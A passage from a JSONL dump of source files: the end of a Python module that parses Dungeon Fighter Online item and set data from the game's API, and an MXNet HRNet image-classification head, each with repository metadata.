'\uc2ac\ud514\uc744 \ub2f4\uc740 \uc6b4\uba85') and step < 0:\n            for opts in io:\n                if '\ucd94\ub310' in opts.keys():\n                    if opts['\ucd94\ub310'] == 8 or opts['\ucd94\ub310'] == 12:\n                        opts['\ucd94\ub310'] = 0\n        elif name == '\uc544\ub9b0 \uace0\ud1b5\uc758 \ube44\uadf9' and step < 0:\n            for opts in io:\n                if '\ucd94\ub310' in opts.keys():\n                    opts['\ucd94\ub310'] = 5.5\n        elif name == '\ucc9c\uc0c1\uc758 \ub0a0\uac1c' and step < 0:\n            io.append({'\uc774\uc18d':25})\n        elif step == 3 and name == \"\uc5f4\ub300\uc758 \ud2b8\ub85c\ud53c\uce74 \uc138\ud2b8\":\n            io.append({'\uc774\uc18d':5, 'condition':{'type':'\ucc29\uc6a9', 'required':['\ud2b8\ub85c\ud53c\uce74:\ub9ac\uce58']}})\n        elif step == 5 and name == \"\uba54\ub9c8\ub978 \uc0ac\ub9c9\uc758 \uc720\uc0b0 \uc138\ud2b8\":\n            for opts in io:\n                if '\uc2a4\uacf5' in opts.keys() and opts['\uc2a4\uacf5'] == 4:\n                    opts['\uc2a4\uacf5'] = 1\n        elif name in ['\uc804\uc7c1\uc758 \uc2dc\uc791', '\uc624\ud37c\ub808\uc774\uc158 \ub378\ud0c0', '\ud018\uc774\ud06c \ud504\ub860', '\uc804\uc7a5\uc758 \ub9e4', '\ub370\ud30c\ub974\ub9dd'] and iid is not None:\n            try:\n                io.pop(0)\n            except:\n                #print (name, io, explain, iid)\n                pass\n\n        elif name == '\uc885\ub9d0\uc758 \uc5ed\uc804' and step < 0:\n            for opts in io:\n                if '\ubb3c\ub9c8\ub3c5\uacf5' in opts.keys():\n                    opts['\ubb3c\ub9c8\ub3c5\uacf5'] *= -1\n                   \n        return io\n\n    @classmethod\n    def get_jobid(self, name, skill_db):\n        for jid in skill_db.keys():\n            if skill_db[jid]['name'] == name:\n                return jid\n\n    @classmethod\n    def get_skillid(self, jobname, skillname, skill_db):\n        for jid in skill_db.keys():\n            if skill_db[jid]['name'] == jobname:\n                break\n\n        for gid in skill_db[jid].keys():\n            if gid == 'name':\n                continue\n            for skill in skill_db[jid][gid]['skills']:\n                if skill['name'] == skillname:\n                    return skill['skillId']\n    \"\"\"\n    @classmethod\n    def parse_stats(cls, stats, io):\n        for stat in stats:\n            s = stat['name'].replace(' ','').replace('\uce90\uc2a4\ud305', '\uce90\uc2a4\ud2b8')\n            if s in item_stat_type:\n                v = stat['value']\n                print (s, \":\", v, None)\n                io.append({s:(v, None)})\n            #else:\n                #io.append({'\ubbf8\ubd84\ub958s':s})\n\n        return io\n    \"\"\"\n    @classmethod\n    def build_single_item(cls, ids, skill_db, item_db, runtime = True):\n        item_ids = ','.join(ids)\n\n        url = \"multi/items?itemIds=\" + item_ids + \"&\"\n        item_dict = cls.load_api(url)\n        #with open(\"item_dict.json\", \"w\") as f:\n            #json.dump(item_dict, f)\n\n        for cur in item_dict['rows']:\n            item_id = cur['itemId']\n            name = cur['itemName']\n            itype = cur['itemType']\n            ityped = cur['itemTypeDetail']\n            igrade = cur['itemRarity']\n            remodel = cur.get('remodelInfo')\n            transform = cur.get('transformInfo')\n            siroco = cur.get('sirocoInfo')\n            status = cur.get('itemStatus')\n\n            if runtime is False:\n                if itype == '\ubb34\uae30':\n                    if cls.weapon_tree.get(itype) is None:\n                        cls.weapon_tree[itype] = {}\n                        cls.weapon_tree[itype][ityped] = {}\n                    else:\n                        if cls.weapon_tree[itype].get(ityped) is None:\n                            cls.weapon_tree[itype][ityped] = {}\n\n                    cls.weapon_tree[itype][ityped][item_id] = {'name': name, 'rarity': igrade, 'status': status, 'type': ityped}\n\n                    if remodel is not None:\n                        cls.weapon_tree[itype][ityped][item_id]['remodel'] = True\n                        if transform is not None:\n                            cls.weapon_tree[itype][ityped][item_id]['upgrade'] = True\n                        else:\n                            cls.weapon_tree[itype][ityped][item_id]['upgrade'] = False\n\n                    else:\n                        cls.weapon_tree[itype][ityped][item_id]['remodel'] = False\n\n                        cls.weapon_tree[itype][ityped][item_id]['upgrade'] = False\n\n                elif cur.get('setItemId') is None and remodel is not None:\n                    if ityped[0] == '\ucc9c':\n                        if cls.item_tree.get(ityped) is None:\n                            cls.item_tree[ityped] = {}\n\n                        if transform is not None:\n                            upgr = True\n                        else:\n                            upgr = False\n\n                        cls.item_tree[ityped][item_id] = {'name': name, 'rarity': igrade, 'remodel': True, 'upgr': upgr}\n                elif cur.get('setItemId') is None and siroco is not None:\n                    _name = name.replace(' ', '').split(':')[1]\n                    setName = _name.split('\uc758')[0]\n\n                    if ityped.find(' ') >= 0:\n                        slot = ityped.split(' ')[1]\n                    else:\n                        slot = ityped\n\n                    if cls.set_tree.get(setName) is None:\n                        cls.set_tree[setName] = {'name': setName, 'itemList': {}}\n                        \n                    cls.set_tree[setName]['itemList'][slot] = {'name': name, 'rarity': igrade, 'id': item_id}\n                elif ityped == '\uce6d\ud638':\n                    if cls.set_tree.get(ityped) is None:\n                        cls.set_tree[ityped] = {'name': ityped, 'itemList':[]}\n\n                    cls.set_tree[ityped]['itemList'].append({'name': name, 'rarity': igrade, 'id': item_id})\n\n\n            item = {}\n            item['name'] = name\n            item['options'] = []\n            item['buffopts'] = []\n            #print(name)\n\n            explain = cur['itemExplainDetail']\n            #e_origin_list = explain.split('\\n')\n            #item['origin'] = e_origin_list\n\n            \"\"\"\n            if remodel is not None:\n                step_mode = -1\n            else:\n                step_mode = -2\n            \"\"\"\n\n            cls.parse_explain(explain, item['options'], name, skill_db, step = -1, iid = item_id)\n\n            if explain.find(\"\ud30c\ud2f0\uc6d0\uc774 2\uba85\") >= 0:\n                item['synergy'] = {'\uae61\uc2a4\ud0ef': 10}\n\n            buffopt = cur.get('itemBuff')\n            if buffopt is not None:\n                buffexplain = buffopt['explain']\n                cls.parse_buff(buffexplain, item['buffopts'], name, skill_db, step = -1)\n\n                skills = buffopt.get('reinforceSkill')\n                if skills is not None and len(skills) > 0:\n                    for skill in skills[0]['skills']:\n                        if skill['name'] in ['\ub9c8\ub9ac\uc624\ub124\ud2b8', '\uc544\ud3ec\uce7c\ub9bd\uc2a4', '\ud06c\ub7ed\uc2a4 \uc624\ube0c \ube45\ud1a0\ub9ac\uc544']:\n                            odata = {'\ud3ec\ub808\ubca8':skill['value']}\n                        elif skill['name'] in ['\uc601\uad11\uc758 \ucd95\ubcf5', '\uc6a9\ub9f9\uc758 \ucd95\ubcf5', '\uae08\ub2e8\uc758 \uc800\uc8fc']:\n                            odata = {'\ucd95\ub808\ubca8':skill['value']}\n                        elif skill['name'] in ['\uc18c\uc545\ub9c8', '\uc2e0\uc2e4\ud55c \uc5f4\uc815', '\uc2e0\ub150\uc758 \uc624\ub77c']:\n                            odata = {'\uc624\ub77c\ub808\ubca8':skill['value']}\n                        else:\n                            print(skills)\n                            odata = None\n                            #raise Exception\n                        if odata is not None:\n                            item['buffopts'].append(odata)\n\n            skills = cur.get('itemReinforceSkill')\n            if skills is not None:\n                for s in skills:\n                    e = []\n                    try:\n                        v = {'job':s['jobName'], 'jid':s['jobId']}\n                        if 'levelRange' in s.keys():\n                            for r in s['levelRange']:\n                                e.append(r)\n                        if 'skills' in s.keys():\n                            for r in s['skills']:\n                                e.append(r)\n                    except:\n                        #print(item_id)\n                        #print(skills)\n                        raise\n\n                    item['options'].append({'\uc2a4\ud0ac':(v, e)})\n\n            #remodel = cur.get('remodelInfo')\n            if remodel is not None:\n                _explain = remodel['explain'].split('\ubc84\ud37c \uc804\uc6a9')\n\n                explain = _explain[0]\n                if len(_explain) == 2:\n                    buffExplain = _explain[1]\n                else:\n                    buffExplain = None\n               \n                cls.parse_explain(explain, item['options'], name, skill_db)\n\n                if buffExplain is not None:\n                    cls.parse_buff(buffExplain, item['buffopts'], name, skill_db, step = 10)\n\n                explain = explain.replace('\\n(', '(')\n                #e_origin_list = explain.split('\\n')\n                #item['remodel_origin'] = e_origin_list\n\n                if remodel['stepInfo'] is not None:\n                    for step in remodel['stepInfo']:\n                        _explain = step.get('explainDetail')\n                        if _explain is None:\n                            _explain = step.get('explain')\n                        _explain = _explain.split(\"\ubc84\ud37c \uc804\uc6a9\")\n\n                        explain = _explain[0]\n                        if len(_explain) == 2:\n                            buffExplain = _explain[1]\n                        else:\n                            buffExplain = None\n\n                        #print(explain)\n\n                        stepinfo = {}\n                        \"\"\"\n                        if step.get('transform') is True:\n                            #_explain = explain.replace('%', '')\n                            #print(explain, name, item_id)\n                            try:\n                                expRange = re.findall(r'\\(.*?\\)', explain)[0][1:-1]\n                                _explain_prefix = explain.split('(')[0]\n                                _explain_postfix = explain.split(')')[1]\n\n                                if expRange.find('~') < 0:\n                                    raise Exception\n                            except:\n                                __explain_prefix = []\n                                __explain_postfix = []\n                                expRange_list = explain.split(' ')\n                                pre = True\n                                for expr in expRange_list:\n                                    if expr.find('~') >= 0 and pre is True:\n                                        expRange = expr\n                                        pre = False\n                                    elif pre is True:\n                                        __explain_prefix.append(expr)\n                                    else:\n                                        __explain_postfix.append(expr)\n\n                                _explain_prefix = ' '.join(__explain_prefix)\n                                _explain_postfix = ' '.join(__explain_postfix)\n\n                            #print(expRange)\n\n                            expRange = expRange.split('~')\n\n                            #range_min = int(expRange[0])\n                            #range_max = int(expRange[1])\n                            range_max = expRange[1]\n\n                            explain = _explain_prefix + range_max + _explain_postfix\n\n                            stepinfo['transform'] = True\n                        \"\"\"\n\n                        if step.get('transform') is None:\n                            stepinfo['step'] = step['step']\n                            stepinfo['options'] = []\n                            cls.parse_explain(explain, stepinfo['options'], name, skill_db, step = step['step'])\n                            #e_origin_list = explain.split('\\n')\n                            #stepinfo['origin'] = e_origin_list\n\n                            if buffExplain is not None:\n                                stepinfo['buffopts'] = []\n                                cls.parse_buff(buffExplain, stepinfo['buffopts'], name, skill_db, step = step['step'])\n         \n                            item['options'].append(stepinfo)\n\n            \"\"\"\n            transform = cur.get('transformInfo')\n            if transform is not None:\n\n                explain = transform['explain']\n\n                topt = []\n                if explain.find('\ubaa8\ub4e0 \uc9c1\uc5c5') >= 0:\n                    topt.append({'\uac01\uc131\uae30':2})\n                else:\n                    if name == '\ub370\ud30c\ub974\ub9dd':\n                        cls.parse_explain(transform['explainDetail'], topt, name, skill_db, step = -2, iid = item_id)\n                    else:\n                        cls.parse_explain(explain, topt, name, skill_db, step = -2, iid = item_id)\n\n                item['options'].append({'transform': topt})\n            \"\"\"\n\n            itemStatus = cur.get('itemStatus')\n            if itemStatus is not None and len(itemStatus) > 0:\n                item['status'] = itemStatus\n\n            mythInfo = cur.get('mythologyInfo')\n            if mythInfo is not None:\n                cls.myth_db[item_id] = {'name':name, 'options':[], 'buffOptions':[]}\n\n                mopt = mythInfo['options']\n                for o in mopt:\n                    mexp = o['explain']\n                    fexp = re.sub('\\d', '*', mexp)\n\n                    mexpd = o['explainDetail']\n                    expRange = re.findall(r'\\(.*?\\)', mexpd)[0][1:-1]\n                    expRange = expRange.split('~')\n\n                    range_min = expRange[0]\n                    range_max = expRange[1]\n                    \n                    cls.myth_db[item_id]['options'].append({'explain':fexp, 'min':range_min, 'max':range_max})\n\n                    mexp = o['buffExplain']\n                    fexp = mexp[:2] + re.sub('\\d', '*', mexp[2:])\n\n                    mexpd = o['buffExplainDetail']\n                    expRange = re.findall(r'\\(.*?\\)', mexpd)[0][1:-1]\n                    expRange = expRange.split('~')\n\n                    range_min = expRange[0]\n                    range_max = expRange[1]\n\n                    cls.myth_db[item_id]['buffOptions'].append({'explain':fexp, 'min':range_min, 'max':range_max})\n            item_db[item_id] = item\n\n    @classmethod\n    def build_set_option(cls, sid, sname, options, skill_db, set_db):\n        sopt = {}\n        sopt['name'] = sname\n        #print(sname)\n\n        for option in options:\n            n = option['optionNo']\n            sopt[str(n)] = {}\n            sopt[str(n)]['options'] = []\n            sopt[str(n)]['buffopts'] = []\n            \n            if 'detailExplain' in option.keys():\n                explain = option['detailExplain']\n            else:\n                explain = option.get('explain')\n\n            #print(n, explain)\n\n            if explain is not None:\n                cls.parse_explain(explain, sopt[str(n)]['options'], sname, skill_db, step = n)\n\n                if explain.find(\"2\uba85 \uc774\uc0c1\uc778 \uacbd\uc6b0\") >= 0:\n                    #explain = explain.split(\"2\uba85 \uc774\uc0c1\uc778 \uacbd\uc6b0\")[1]\n                    sopt[str(n)]['synergy'] = sname + '|' + str(n)\n           \n            itemStatus = option.get('status')\n            if itemStatus is not None and len(itemStatus) > 0:\n                sopt[str(n)]['status'] = itemStatus\n                #for stat in itemStatus:\n                #    if stat['name'] in ['\uc9c0\ub2a5', '\uccb4\ub825', '\uc815\uc2e0\ub825', '\uc554\uc18d\uc131\uc800\ud56d']:\n                #        sopt[str(n)]['status'].append(stat)\n\n            skill = option.get('reinforceSkill')\n            #if skill is not None:\n            #    print ('\uc2a4\ud0ac\uc635\uc158\uc788\uc74c', skill)\n\n            buffopt = option.get('itemBuff')\n            if buffopt is not None or (sname == '\uc804\uc124\uc758 \ub300\uc7a5\uc7a5\uc774 - \uc5ed\uc791 \uc138\ud2b8' and n == 5):\n                try:\n                    buffexplain = buffopt['explain']\n                    isreturn = False\n                except:\n                    buffexplain = \"\"\n                    isreturn = True\n\n                cls.parse_buff(buffexplain, sopt[str(n)]['buffopts'], sname, skill_db, step = n)\n\n                if isreturn is True:\n                    continue\n\n                skills = buffopt.get('reinforceSkill')\n                if skills is not None and len(skills) > 0:\n                    lv30 = False\n                    lv50 = False\n                    lv45 = False\n \n                    for skill in skills:\n                        if skill.get('skills') is not None:\n                            for skill in skill['skills']:\n                                if skill['name'] in ['\ub9c8\ub9ac\uc624\ub124\ud2b8', '\uc544\ud3ec\uce7c\ub9bd\uc2a4', '\ud06c\ub7ed\uc2a4 \uc624\ube0c \ube45\ud1a0\ub9ac\uc544']:\n                                    if lv50 is False:\n                                        sopt[str(n)]['buffopts'].append({'\ud3ec\ub808\ubca8':skill['value']})\n                                        lv50 = True\n                                elif skill['name'] in ['\uc601\uad11\uc758 \ucd95\ubcf5', '\uc6a9\ub9f9\uc758 \ucd95\ubcf5', '\uae08\ub2e8\uc758 \uc800\uc8fc']:\n                                    if lv30 is False:\n                                        sopt[str(n)]['buffopts'].append({'\ucd95\ub808\ubca8':skill['value']})\n                                        lv30 = True\n                                elif skill['name'] in ['\uc18c\uc545\ub9c8', '\uc2e0\uc2e4\ud55c \uc5f4\uc815', '\uc2e0\ub150\uc758 \uc624\ub77c']:\n                                    if lv45 is False:\n                                        sopt[str(n)]['buffopts'].append({'\uc624\ub77c\ub808\ubca8':skill['value']})\n                                        lv45 = True\n                                else:\n                                    print(skills)\n                                    raise Exception\n                        elif skill.get('levelRange') is not None:\n                            for lvRange in skill['levelRange']:\n                                min_lv = int(lvRange['minLevel'])\n                                max_lv = int(lvRange['maxLevel'])\n                                lvup = int(lvRange['value'])\n\n                                data = {'min':min_lv, 'max':max_lv, 'lvup':lvup}\n                                sopt[str(n)]['buffopts'].append({'\uc2a4\ud0ac\uad6c\uac04': data})\n\n            else:\n                pass\n                #print(sname)\n\n            #e_origin_list = explain.split('\\n')\n            #sopt[str(n)].append({'origin':e_origin_list})\n\n\n            #stats = option.get('status')\n            #if stats is not None:\n            #    self.parse_stats(stats, sopt[str(n)])\n\n            #print(\"\")\n\n        set_db[sid] = sopt\n\n        #\uc218\ub3d9 \uc791\uc5c5 \ubaa9\ub85d\n\n        #\uc544\ub9b0 \ud608\uad00\ud30c\uc5f4\n        #\uc2dc\uac04\uc790\uce68(\uc2e0\ud654) \ucfe8\ucd08\n        #\uc138\uacc4\uc218\uc758 \ubfcc\ub9ac \ucfe8\ucd08\n\n        #print(self.set_db)\n\n    @classmethod\n    def do_build_set_item(cls, setId, name, skill_db, item_db, set_db, runtime = True):\n        url = \"setitems/\" + setId + \"?\"\n        s_info = cls.load_api(url)\n\n        sitems = s_info['setItems']\n        soptions = s_info['setItemOption']\n\n        if runtime is False:\n            cls.set_tree[setId] = {'name': name, 'itemList': {}}\n\n        ids = []\n        for cur in sitems:\n            #print (item['itemName'])\n\n            if runtime is False:\n                iname = cur['itemName']\n                islot = cur['slotName']\n                \n                url = \"items?itemName=\"+urlparse.quote(iname)+\"&\"\n\n                try:\n                    i_search = cls.load_api(url)\n                except:\n                    raise\n    \n                try:\n                    if len(i_search['rows']) > 5:\n                        mat_count = {'\ucc9c':0, '\uac00\uc8fd':0, '\uc911\uac11':0, '\uacbd\uac11':0, '\ud310\uae08':0}\n\n                        for ilist in i_search['rows']:\n                            _ityped = ilist['itemTypeDetail']\n                            ityped = _ityped.split(' ')[0]\n                            \n                            mat_count[ityped] += 1\n\n                        if max(mat_count.values()) == 2:\n                            oritype = '\ud310'\n                        else:\n                            for k, v in mat_count.items():\n                                if v == 3:\n                                    oritype = k[0]\n\n                    else:\n                        oritype = None\n\n                    for ilist in i_search['rows']:\n                        itemId = ilist['itemId']\n                        igrade = ilist['itemRarity']\n                        ityped = ilist['itemTypeDetail']\n\n                        if igrade == '\uc2e0\ud654':\n                            url = 'items/' + itemId + '?'\n                            itemDetail = cls.load_api(url)\n\n                            status = itemDetail.get('itemStatus')\n\n                            cls.set_tree[setId]['itemList']['\uc2e0\ud654'] = {'name': iname, 'rarity': igrade, 'id':itemId, 'slot':islot}\n                        else:\n                            if oritype is not None:\n                                if oritype == ityped[0]:\n                                    url = 'items/' + itemId + '?'\n\n                                    itemDetail = cls.load_api(url)\n\n                                    remodel = itemDetail.get('remodelInfo')\n                                    transform = itemDetail.get('transformInfo')\n                                    status = itemDetail.get('itemStatus')\n\n                                    if remodel is not None:\n                                        if transform is not None:\n                                            cls.set_tree[setId]['itemList']['\uc5c5\uae00\uc0b0\ubb3c-' + islot] = {'name': iname, 'rarity': igrade, 'id':itemId, 'status':status}\n                                        else:\n                                            cls.set_tree[setId]['itemList']['\uc0b0\ubb3c-' + islot] = {'name': iname, 'rarity': igrade, 'id':itemId, 'status':status}\n                                    else:\n                                        cls.set_tree[setId]['itemList'][islot] = {'name': iname, 'rarity': igrade, 'id':itemId, 'status':status}\n                            else:\n                                url = 'items/' + itemId + '?'\n\n                                itemDetail = cls.load_api(url)\n\n                                remodel = itemDetail.get('remodelInfo')\n                                transform = itemDetail.get('transformInfo')\n                                status = itemDetail.get('itemStatus')\n\n                                if remodel is not None:\n                                    if transform is not None:\n                                        cls.set_tree[setId]['itemList']['\uc5c5\uae00\uc0b0\ubb3c-' + islot] = {'name': iname, 'rarity': igrade, 'id':itemId, 'status':status}\n                                    else:\n                                        cls.set_tree[setId]['itemList']['\uc0b0\ubb3c-' + islot] = {'name': iname, 'rarity': igrade, 'id':itemId, 'status':status}\n                                else:\n                                    cls.set_tree[setId]['itemList'][islot] = {'name': iname, 'rarity': igrade, 'id':itemId, 'status':status}\n\n\n                        #print(ilist['itemName'], itemId)\n                        ids.append(itemId)\n\n                        if len(ids) >= 15:\n                            cls.build_single_item(ids, skill_db, item_db, runtime = False)\n                            ids = []\n                except:\n                    print(ilist)\n                    raise\n\n            if len(ids) > 0:    \n                cls.build_single_item(ids, skill_db, item_db, runtime = False)\n            cls.build_set_option(setId, name, soptions, skill_db, set_db)\n            retId = setId\n\n        return retId\n\n    @classmethod\n    def build_set_item(cls, name, skill_db, item_db, set_db, runtime = True):\n        url = \"setitems?setItemName=\"+urlparse.quote(name)+\"&\"\n        #print(url)\n        retId = None\n        try:\n            s_search = cls.load_api(url)\n            print(s_search)\n        except:\n            url = \"setitems?setItemName=\"+urlparse.quote(name)+\"&wordType=full&\"\n            s_search = cls.load_api(url)\n            #print(s_search)\n            raise\n        try:\n            for slist in s_search['rows']:\n                setId = slist['setItemId']\n\n                retId = cls.do_build_set_item(setId, name, skill_db, item_db, set_db, runtime)\n\n        except:\n            #print(slist)\n            raise\n\n        return retId\n", "meta": {"hexsha": "7946fd3dcc568389ee67d29cba0fd77e6dcfdea4", "size": 73301, "ext": "py", "lang": "Python", "max_stars_repo_path": "libutil.py", "max_stars_repo_name": "dwlee08/dnfp-analyzer", "max_stars_repo_head_hexsha": "4ae4ec4d32c08288b997c83655a0c97c7d347216", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libutil.py", "max_issues_repo_name": "dwlee08/dnfp-analyzer", "max_issues_repo_head_hexsha": "4ae4ec4d32c08288b997c83655a0c97c7d347216", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libutil.py", "max_forks_repo_name": "dwlee08/dnfp-analyzer", "max_forks_repo_head_hexsha": "4ae4ec4d32c08288b997c83655a0c97c7d347216", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2020-12-10T06:24:34.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-10T06:24:34.000Z", "avg_line_length": 40.927414852, "max_line_length": 158, "alphanum_fraction": 0.3663387948, "include": true, "reason": "import numpy", "num_tokens": 21318, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.18476751738161779, "lm_q1q2_score": 0.0945486066541393}}
{"text": "'''\nModified by mengtianjian\nAdapted from https://github.com/tornadomeet/ResNet/blob/master/symbol_resnet.py\nOriginal author Wei Wu\n\nImplemented the following paper:\n\nKe Sun, Yang Zhao, Borui Jiang, Tianheng Cheng, Bin Xiao, Dong Liu, Yadong Mu, Xinggang Wang,\nWenyu Liu, Jingdong Wang. 'High-Resolution Representations for Labeling Pixels and Regions'\n\n'''\nimport numpy as np\nimport mxnet as mx\nimport hrnet\n\n\ndef residual_unit(data,\n                  output_channels,\n                  stride,\n                  dim_match,\n                  name,\n                  bottle_neck=True,\n                  bn_mom=0.9,\n                  workspace=256):\n    '''Return ResNet Unit symbol for building ResNet\n    Parameters\n    ----------\n    data : str\n        Input data\n    output_channels : int\n        Number of output channels\n    bnf : int\n        Bottle neck channels factor with regard to output_channels\n    stride : tuple\n        Stride used in convolution\n    dim_match : Boolean\n        True means channel number between input and output is the same, otherwise means differ\n    name : str\n        Base name of the operators\n    workspace : int\n        Workspace used in convolution operator\n    '''\n    if bottle_neck:\n        output_channels_act1 = int(output_channels * 0.25)\n        conv1 = mx.sym.Convolution(\n            data=data,\n            num_filter=output_channels_act1,\n            kernel=(1, 1),\n            stride=(1, 1),\n            pad=(0, 0),\n            no_bias=True,\n            workspace=workspace,\n            name=name + '_conv1')\n        bn1 = mx.sym.BatchNorm(\n            data=conv1,\n            fix_gamma=False,\n            eps=2e-5,\n            momentum=bn_mom,\n            name=name + '_bn1')\n        act1 = mx.sym.Activation(data=bn1, act_type='relu', name=name + '_relu1')\n        output_channels_act2 = int(output_channels * 0.25)\n        conv2 = mx.sym.Convolution(\n            data=act1,\n            num_filter=output_channels_act2,\n            kernel=(3, 3),\n            stride=stride,\n            pad=(1, 1),\n            no_bias=True,\n            workspace=workspace,\n            name=name + '_conv2')\n        bn2 = mx.sym.BatchNorm(\n            data=conv2,\n            fix_gamma=False,\n            eps=2e-5,\n            momentum=bn_mom,\n            name=name + '_bn2')\n        act2 = mx.sym.Activation(data=bn2, act_type='relu', name=name + '_relu2')\n        conv3 = mx.sym.Convolution(\n            data=act2,\n            num_filter=output_channels,\n            kernel=(1, 1),\n            stride=(1, 1),\n            pad=(0, 0),\n            no_bias=True,\n            workspace=workspace,\n            name=name + '_conv3')\n        bn3 = mx.sym.BatchNorm(\n            data=conv3,\n            fix_gamma=False,\n            eps=2e-5,\n            momentum=bn_mom,\n            name=name + '_bn3')\n        if dim_match:\n            shortcut = data\n        else:\n            shortcut = mx.sym.Convolution(\n                data=data,\n                num_filter=output_channels,\n                kernel=(1, 1),\n                stride=stride,\n                no_bias=True,\n                workspace=workspace,\n                name=name + '_sc')\n            shortcut = mx.sym.BatchNorm(\n                data=shortcut,\n                fix_gamma=False,\n                eps=2e-5,\n                momentum=bn_mom,\n                name=name + '_sc_bn')\n        out = mx.sym.Activation(data=bn3+shortcut, act_type='relu', name=name + '_relu3')\n        return out\n    else:\n        conv1 = mx.sym.Convolution(\n            data=data,\n            num_filter=output_channels,\n            kernel=(3, 3),\n            stride=stride,\n            pad=(1, 1),\n            no_bias=True,\n            workspace=workspace,\n            name=name + '_conv1')\n        bn1 = mx.sym.BatchNorm(\n            data=conv1,\n            fix_gamma=False,\n            momentum=bn_mom,\n            eps=2e-5,\n            name=name + '_bn1')\n        act1 = mx.sym.Activation(data=bn1, act_type='relu', name=name + '_relu1')\n        conv2 = mx.sym.Convolution(\n            data=act1,\n            num_filter=output_channels,\n            kernel=(3, 3),\n            stride=stride,\n            pad=(1, 1),\n            no_bias=True,\n            workspace=workspace,\n            name=name + '_conv2')\n        bn2 = mx.sym.BatchNorm(\n            data=conv2,\n            fix_gamma=False,\n            momentum=bn_mom,\n            eps=2e-5,\n            name=name + '_bn2')\n        if dim_match:\n            shortcut = data\n        else:\n            shortcut = mx.sym.Convolution(\n                data=data,\n                num_filter=output_channels,\n                kernel=(1, 1),\n                stride=stride,\n                no_bias=True,\n                workspace=workspace,\n                name=name + '_sc')\n            shortcut = mx.sym.BatchNorm(\n                data=shortcut,\n                fix_gamma=False,\n                eps=2e-5,\n                momentum=bn_mom,\n                name=name + '_sc_bn')\n        out = mx.sym.Activation(data=bn2+shortcut, act_type='relu', name=name + '_relu2')\n        return out\n\n\ndef conv3x3(data,\n            output_channel,\n            stride,\n            name,\n            act=True,\n            bn_mom=0.9,\n            workspace=256):\n    out = mx.sym.Convolution(\n        data=data,\n        num_filter=output_channel,\n        kernel=(3, 3),\n        stride=stride,\n        pad=(1, 1),\n        no_bias=True,\n        name=name+'_conv',\n        workspace=workspace)\n    out = mx.sym.BatchNorm(\n        data=out,\n        fix_gamma=False,\n        eps=2e-5,\n        momentum=bn_mom,\n        name=name+'_bn')\n    if act:\n        out = mx.sym.Activation(data=out, act_type='relu', name=name+'_relu')\n    return out\n\n\ndef conv1x1(data,\n            output_channel,\n            stride,\n            name,\n            act=True,\n            bn_mom=0.9,\n            workspace=256):\n    out = mx.sym.Convolution(\n        data=data,\n        num_filter=output_channel,\n        kernel=(1, 1),\n        stride=stride,\n        pad=(0, 0),\n        no_bias=True,\n        name=name+'_conv',\n        workspace=workspace)\n    out = mx.sym.BatchNorm(\n        data=out,\n        fix_gamma=False,\n        eps=2e-5,\n        momentum=bn_mom,\n        name=name+'_bn')\n    if act:\n        out = mx.sym.Activation(data=out, act_type='relu', name=name+'_relu')\n    return out\n\n\ndef get_cls_head(data, pre_stage_channels, num_classes, dtype='float32'):\n    head_channels = [128, 256, 512, 1024]\n\n    output = residual_unit(\n        data[0],\n        head_channels[0],\n        (1, 1),\n        pre_stage_channels[0] == head_channels[0],\n        name='cls_head_1')\n    for i in range(1, len(pre_stage_channels)):\n        output = residual_unit(data[i],\n                               head_channels[i],\n                               (1, 1),\n                               pre_stage_channels[i] == head_channels[i],\n                               name='cls_head_%d'%(i+1)) + conv3x3(output,\n                                                                   head_channels[i],\n                                                                   (2, 2),\n                                                                   'cls_head_down%d'%(i+1))\n    output = conv1x1(output, 2048, (1, 1), 'cls_head_final')\n    output = mx.sym.Pooling(\n        data=output,\n        global_pool=True,\n        kernel=(7, 7),\n        pool_type='avg',\n        name='global_pool')\n    output = mx.sym.Flatten(data=output)\n    output = mx.sym.FullyConnected(\n        data=output,\n        num_hidden=num_classes,\n        name='fc')\n    if dtype == 'float16':\n        output = mx.sym.Cast(data=output, dtype=np.float32)\n    output = mx.sym.SoftmaxOutput(data=output, name='softmax')\n    return output\n\n\ndef get_symbol(num_classes,\n               config,\n               image_shape,\n               conv_workspace=256,\n               dtype='float32',\n               **kwargs):\n    '''\n      Adapted from https://github.com/tornadomeet/ResNet/blob/master/train_resnet.py\n      Original author Wei Wu\n      '''\n    image_shape = [int(l) for l in image_shape.split(',')]\n    (channels, height, width) = image_shape\n\n    sym, channels = hrnet.get_symbol(config,\n                                     image_shape,\n                                     conv_workspace=conv_workspace,\n                                     dtype=dtype)\n\n    return get_cls_head(sym,\n                        channels,\n                        num_classes)\n\n\nif __name__ == '__main__':\n    sym = get_symbol(1000, 'w18', '3,224,224')\n    vis = mx.viz.plot_network(sym)\n    vis.render('hrnet_example')\n", "meta": {"hexsha": "7f2ba050298d8d42fa2ab320c7298db2b4a608c5", "size": 8627, "ext": "py", "lang": "Python", "max_stars_repo_path": "hrnet_cls.py", "max_stars_repo_name": "MengTianjian/HRNet-mxnet", "max_stars_repo_head_hexsha": "5a2600b5b44c856cd619d490bb8d824db618fa72", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2019-09-04T03:12:07.000Z", "max_stars_repo_stars_event_max_datetime": "2019-10-31T02:01:11.000Z", "max_issues_repo_path": "hrnet_cls.py", "max_issues_repo_name": "MengTianjian/HRNet-mxnet", "max_issues_repo_head_hexsha": "5a2600b5b44c856cd619d490bb8d824db618fa72", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hrnet_cls.py", "max_forks_repo_name": "MengTianjian/HRNet-mxnet", "max_forks_repo_head_hexsha": "5a2600b5b44c856cd619d490bb8d824db618fa72", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2019-10-31T02:01:15.000Z", "max_forks_repo_forks_event_max_datetime": "2019-10-31T02:01:15.000Z", "avg_line_length": 30.5921985816, "max_line_length": 